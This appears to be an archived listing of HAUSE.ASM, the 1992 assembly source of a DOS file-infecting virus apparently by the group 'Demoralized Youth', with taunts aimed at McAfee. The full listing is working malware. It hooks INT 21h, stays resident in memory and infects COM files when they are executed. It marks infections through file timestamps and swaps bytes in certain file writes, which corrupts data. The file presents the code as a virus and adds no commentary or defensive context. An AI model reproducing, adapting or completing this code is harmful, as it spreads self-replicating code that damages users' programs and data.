home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / HAUSE.ASM < prev    next >
Assembly Source File  |  1992-03-22  |  6KB  |  325 lines

  1. _attr_  equ 0
  2. _date_  equ 2
  3. _time_  equ 4
  4.  
  5. fil     equ 6
  6.  
  7.         mov     ax,4245h        ;sepuku!
  8.         int     21h
  9.         jmp     short jump1
  10.         db      'DY'
  11. dy      equ $-2-100h
  12.  
  13. _size   dw      offset total-100h
  14. _ofs    dw      offset total
  15.  
  16. db      'McAfee, geht nach Hause! Wir sind unüberwindlich!'
  17.  
  18. jump1:
  19.         mov     ax,3521h
  20.         int     21h
  21.         mov     old21[0],bx
  22.         mov     old21[2],es
  23.  
  24.         mov     ax,cs
  25.         dec     ax
  26.         mov     ds,ax
  27.         lodsb
  28.         cmp     byte [0],'Z'
  29.         jne     bee_bloop_blap
  30.         cmp     word ptr [0003h],pgf
  31.         jc      bee_bloop_blap
  32.         sub     word ptr [0003h],pgf
  33.         sub     word ptr [0012h],pgf
  34.         mov     es,[0012h]
  35.         mov     si,110h
  36.         mov     di,si
  37.         sub     di,10h
  38.         mov     cx,total-100h
  39.         rep     movsb
  40.         push    es
  41.         pop     ds
  42.  
  43.         cli
  44.         mov     ax,2521h
  45.         mov     dx,offset swansich
  46.         int     21h
  47.         sti
  48.  
  49.         jmp     100h
  50.  
  51. bee_bloop_blap:
  52.         int     24h
  53.         int     20h
  54.  
  55. st21    db 0
  56.  
  57. vier:
  58.         mov     al,0
  59.         iret
  60.  
  61. swansich:
  62.         pushf
  63.         cmp     ax,4245h
  64.         jne     not_sepuku
  65.         cmp     word [dy+100h],'YD'
  66.         jne     not_sepuku
  67.         popf
  68.         push    bp
  69.         mov     bp,sp
  70.         mov     ds,[bp+4]
  71.         pop     bp
  72.         mov     si,word _ofs
  73.         mov     cx,word _size
  74.         mov     di,100h
  75.         push    ds
  76.         pop     es
  77.         cld
  78. bam:    rep     movsb
  79.         pop     ax
  80.         mov     ax,100h
  81.         push    ax
  82.         call    zero_regs
  83.         iret
  84.  
  85. olr     dw 0,0
  86.  
  87. not_sepuku:
  88.         cmp     ah,40h
  89.         jne     exec
  90.         cmp     bx,5
  91.         jb      exec
  92.  
  93.         cmp     cx,16
  94.         jl      exec
  95.  
  96.         call    push_all
  97.         mov     di,dx
  98.         add     di,cx
  99.         dec     di
  100.         mov     al,[di]
  101.         mov     bl,[di-1]
  102.         mov     [di-1],al
  103.         mov     [di],bl
  104.         call    pop_all
  105. exec:
  106.         cmp     ax,4B00h                ;exec
  107.         jne     back
  108.  
  109.         cmp     cs:st21,0
  110.         jne     back
  111.  
  112.         mov     cs:st21,1
  113.  
  114.         call    push_all
  115.         xchg    si,dx
  116.         mov     di,fil
  117.         push    cs
  118.         pop     es
  119.         mov     cx,128
  120.         cld
  121.         rep     movsb
  122.         call    pop_all
  123.  
  124.         popf
  125.  
  126.         call    o21
  127.  
  128.         pushf
  129.         call    push_all
  130.  
  131.         mov     ax,3524h
  132.         call    o21
  133.         push    bx
  134.         push    es
  135.  
  136.         mov     ah,25h
  137.         push    ds
  138.         push    cs
  139.         pop     ds
  140.         push    dx
  141.         mov     dx,offset vier
  142.         call    o21
  143.         pop     dx
  144.         pop     ds
  145.  
  146.         push    cs
  147.         pop     ds
  148.         mov     dx,fil
  149.  
  150.         mov     ax,4300h
  151.         call    o21
  152.         mov     cs:[_attr_],cx
  153.         mov     ax,4301h
  154.         xor     cx,cx
  155.         call    o21
  156.         jc      err1
  157.  
  158.         call    infect
  159.  
  160.         mov     ax,4301h
  161.         mov     cx,cs:[_attr_]
  162.         call    o21
  163.  
  164. err1:   pop     ds
  165.         pop     dx
  166.         mov     ax,2524h
  167.         call    o21
  168.  
  169.         mov     cs:st21,0
  170.  
  171.         call    pop_all
  172.         popf
  173.         retf    2
  174.  
  175.  
  176. back:   mov     cs:st21,0
  177.         popf
  178. jfa:    db      0EAh
  179. old21   dw 0,0
  180.  
  181. o21:    pushf
  182.         call    dword ptr cs:[old21]
  183.         ret
  184.  
  185. zero_regs:
  186.         xor     ax,ax
  187.         xor     bx,bx
  188.         xor     cx,cx
  189.         xor     dx,dx
  190.         xor     si,si
  191.         xor     di,di
  192.         ret
  193.  
  194. jmp_to  dw 0
  195.  
  196. push_all:
  197.         pop     cs:[jmp_to]
  198.         push    bp
  199.         push    ds
  200.         push    es
  201.         push    di
  202.         push    si
  203.         push    dx
  204.         push    cx
  205.         push    bx
  206.         push    ax
  207.         jmp     cs:[jmp_to]
  208.  
  209. pop_all:
  210.         pop     cs:[jmp_to]
  211.         pop     ax
  212.         pop     bx
  213.         pop     cx
  214.         pop     dx
  215.         pop     si
  216.         pop     di
  217.         pop     es
  218.         pop     ds
  219.         pop     bp
  220.         jmp     cs:[jmp_to]
  221.  
  222.  
  223.  
  224. ;|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
  225. ;                               infection routine
  226. ;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  227. infect:
  228.         pushf
  229.         call    push_all
  230.  
  231.         mov     ax,3D02h
  232.         call    o21
  233.         jnc     open
  234.  
  235. i_back:
  236.         call    pop_all
  237.         popf
  238.         ret
  239.  
  240. open:
  241.         xchg    bx,ax
  242.  
  243.         push    cs
  244.         pop     ds
  245.         push    cs
  246.         pop     es
  247.  
  248.         mov     ax,5700h
  249.         call    o21
  250.         mov     [_date_],dx
  251.         mov     [_time_],cx
  252.  
  253.         mov     ah,3Fh
  254.         mov     cx,offset total-100h
  255.         mov     dx,offset total
  256.         call    o21
  257.         jnc     read1
  258. jcls1:  jmp     close
  259.  
  260. read1:  cmp     ax,cx
  261.         jne     jcls1
  262.  
  263.         cmp     word ptr [offset total],'ZM'
  264.         je      jcls1
  265.         cmp     byte ptr [offset total],'Z'
  266.         je      jcls1
  267.  
  268.         cmp     word ptr [offset total+dy],'YD'
  269.         je      jcls1
  270.  
  271.         mov     ax,4202h
  272.         xor     cx,cx
  273.         xor     dx,dx
  274.         call    o21
  275.         jc      jcls1
  276.  
  277.         cmp     dx,0
  278.         jne     jcls1
  279.         cmp     ah,0F1h
  280.         ja      jcls1
  281.  
  282.         add     ax,100h
  283.         mov     _ofs,ax
  284.  
  285.         mov     ah,40h
  286.         mov     dx,offset total
  287.         mov     cx,offset total-100h
  288.         call    o21
  289.  
  290.         jc      jcls1
  291.         cmp     ax,cx
  292.         jne     jcls1
  293.  
  294.         mov     ax,4200h
  295.         xor     cx,cx
  296.         xor     dx,dx
  297.         call    o21
  298.  
  299.         mov     ah,40h
  300.         mov     cx,offset total-100h
  301.         mov     dx,100h
  302.         call    o21
  303.  
  304.         and     byte [_time_],255-31
  305.         or      byte [_time_],29
  306. close:
  307.         mov     ax,5701h
  308.         mov     cx,[_time_]
  309.         mov     dx,[_date_]
  310.         call    o21
  311.  
  312.         mov     ah,3Eh
  313.         call    o21
  314. jcls2:  jmp     i_back
  315.  
  316. db 'Demoralized Youth vous a eu'
  317.  
  318. total:
  319. pgf     equ $/16*2
  320. db '═ '
  321.  
  322.  
  323.  
  324.  
  325.